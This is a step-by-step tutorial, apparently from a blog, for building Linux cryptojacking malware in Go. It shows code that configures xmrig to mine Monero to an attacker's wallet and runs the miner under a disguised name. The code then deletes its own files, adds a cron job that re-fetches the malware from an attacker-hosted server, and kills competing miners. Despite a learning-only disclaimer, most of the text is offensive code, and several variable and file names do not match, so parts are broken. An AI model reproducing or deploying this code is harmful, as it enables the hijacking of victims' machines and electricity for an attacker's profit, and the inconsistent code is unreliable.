With the popularity of cryptocurrencies, the idea of investing in mining these assets has crossed the minds of many people. However, the high costs of hardware and energy have made this activity unfeasible or less profitable for many. But what if you could receive mining profits without worrying about hardware and energy costs and, moreover, use hundreds or thousands of computers to do it? This is what motivated cybercriminals to create botnets with multiple machines infected with a type of malware known as cryptojacking.
This article is written solely for learning purposes for cybersecurity enthusiasts or professionals.
Step 1 - Creating the Configuration File
In this first step, we will create some necessary settings for the miner to function.
package main
import (
"encoding/json"
"io/ioutil"
"os/exec"
)
// Here we define two structures with some basic xmrig configurations. Understanding this part is not important.
type Config struct {
Autosave bool `json:"autosave"`
Cpu bool `json:"cpu"`
Opencl bool `json:"opencl"`
Background bool `json:"background"`
Cuda bool `json:"cuda"`
Pools []Pool `json:"pools"`
Donate int `json:"donate-level"`
}
type Pool struct {
Url string `json:"url"`
User string `json:"user"`
Keepalive bool `json:"keepalive"`
Tls bool `json:"tls"`
}
// With these two declared structures, we can create a function to generate a file with our configurations:
func writeConfig() {
wallet := "ATTACKERS_WALLET_HERE" // Wallet that will receive the monero
config := Config{
Autosave: false,
Cpu: true,
Opencl: true,
Background: true,
Cuda: false,
Donate: 1,
Pools: []Pool{
{
Url: "pool.minexmr.com:443",
User: wallet,
Keepalive: true,
Tls: true,
},
},
}
file, _ := json.MarshalIndent(config, "", " ")
// Write the configurations to a file
_ = ioutil.WriteFile("config.json", file, 0644)
}
Step 2 - Mining
Before assembling the payload, we need to get the download URL of the miner, which can be found in the releases of the xmrig repository.
func getMiner() {
// Store the xmrig URL in a variable
minerLink := "https://github.com/xmrig/xmrig/releases/download/v6.16.3/xmrig-6.16.3-linux-static-x64.tar.gz"
}
Next, we’ll assemble our payload in shellscript:
# Try to download the miner using wget
wget <xmrig_link>
# Try to download the miner using curl
curl -L <xmrig_link>
# Extract the miner
tar -zvxf xmrig-6.16.3-linux-static-x64.tar.gz;
# Move the configuration file, which we created earlier, into the miner's folder
mv config.json xmrig-6.16.3;
# Rename the xmrig executable to a less suspicious name
cd xmrig-6.16.3;
mv xmrig x01service;
# Run the miner
./x01service;
# Wait for the miner to run and then remove all malware-related files.
pid=$!;
wait $pid; cd ..;
rm xmrig-6.16.3-linux-static-x64.tar.gz;
pid=$!;
wait $pid;
rm -R xmrig-6.16.3;
pid=$!;
wait $pid;
rm x01badMin3r;
Now, copy this entire payload and place it inside a string in your getMiner function, replacing
The malware will then create a .sh file with this payload inside, grant permission, and execute it on the infected machine.
func getMiner() {
minerLink := "https://github.com/xmrig/xmrig/releases/download/v6.16.3/xmrig-6.16.3-linux-static-x64.tar.gz"
payload := "wget " + minerLink + "; curl -L " + minerLink + "; tar -zvxf xmrig-6.16.3-linux-static-x64.tar.gz; mv config.json xmrig-6.16.3; cd xmrig-6.16.3; mv xmrig x01service; ./x01service; pid=$!; wait $pid; cd ..; rm xmrig-6.16.3-linux-static-x64.tar.gz; pid=$!; wait $pid; rm -R xmrig-6.16.3; pid=$!; wait $pid; rm x01badMin3r;"
// Convert the payload to a byte array
data := []byte(payload)
// Create the .sh file
ioutil.WriteFile("x01badMin3r.sh", data, 0644)
// Grant permission and execute the .sh file on the infected machine
exec.Command("chmod", "777", "k4yn.sh").Output()
exec.Command("chmod", "+x", "k4yn.sh").Output()
exec.Command("/bin/sh", "k4yn.sh").Output()
}
By simply compiling this code and running it on a machine where you have permission, it will start mining Monero and send it to the attacker’s wallet. But let’s add some additional features.
Step 3 - Persistence
For this step, you’ll need to host your malware somewhere.
Next, we will use crontab for persistence.
Crontab is essentially a scheduler that performs an action at specific intervals. In this case, we will use it to execute a script every minute that downloads and runs our malware again if the miner is no longer active.
Please note that crontab typically works only on Linux.
func persistence() {
binpath:= "http://<server_ip>/<your_malware_name>"
// Script that creates the crontab scheduler if it doesn't already exist
cr0nt := "if ! crontab -l | grep -q /tmp/cR0ntSc.sh > /dev/null; then (crontab -l 2>/dev/null; echo \"* * * * * /tmp/cR0ntSc.sh\") | crontab -; (crontab -l 2>/dev/null; echo \"* * * * * /var/cR0ntSc.sh\") | crontab -; (crontab -l 2>/dev/null; echo \"* * * * * /mnt/cR0ntSc.sh\") | crontab -; (crontab -l 2>/dev/null; echo \"* * * * * /root/cR0ntSc.sh\") | crontab -; (crontab -l 2>/dev/null; echo \"* * * * * /cR0ntSc.sh\") | crontab -; (crontab -l 2>/dev/null; echo \"* * * * * /dev/cR0ntSc.sh\") | crontab -; else ls -a; fi"
// Script to be executed by crontab if the miner stops mining
cr0nscript := "cd /tmp cd /var/run cd /mnt cd /root cd /; wget " + binpathaces + "; curl -O " + binpathaces + "; chmod +x *; ./x01badMin3r"
// Create, grant permission, execute, and remove the created scripts
ioutil.WriteFile("cR0nt.sh", data1, 0644)
ioutil.WriteFile("cR0ntSc.sh", data2, 0644)
exec.Command("chmod", "777", "cR0nt.sh").Output()
exec.Command("chmod", "+x", "cR0nt.sh").Output()
exec.Command("chmod", "+777", "cR0ntSc.sh").Output()
exec.Command("chmod", "+x", "cR0ntSc.sh").Output()
exec.Command("/bin/sh", "cR0nt.sh").Output()
exec.Command("rm", "cR0nt.sh").Output()
}
Step 4 - Eliminating Competition and Combining Functions
Before combining the functions in the correct order, let’s execute a command that checks if there is already an xmrig miner on the infected machine. If there is, the process is terminated.
func main() {
exec.Command("sudo", "pkill", "-9", "-f", "xmrig").Output()
writeConfig()
persistence()
getMiner()
}
You have now completed all the functions of our simple malware. Now, you can compile and test it on a machine where you have permission.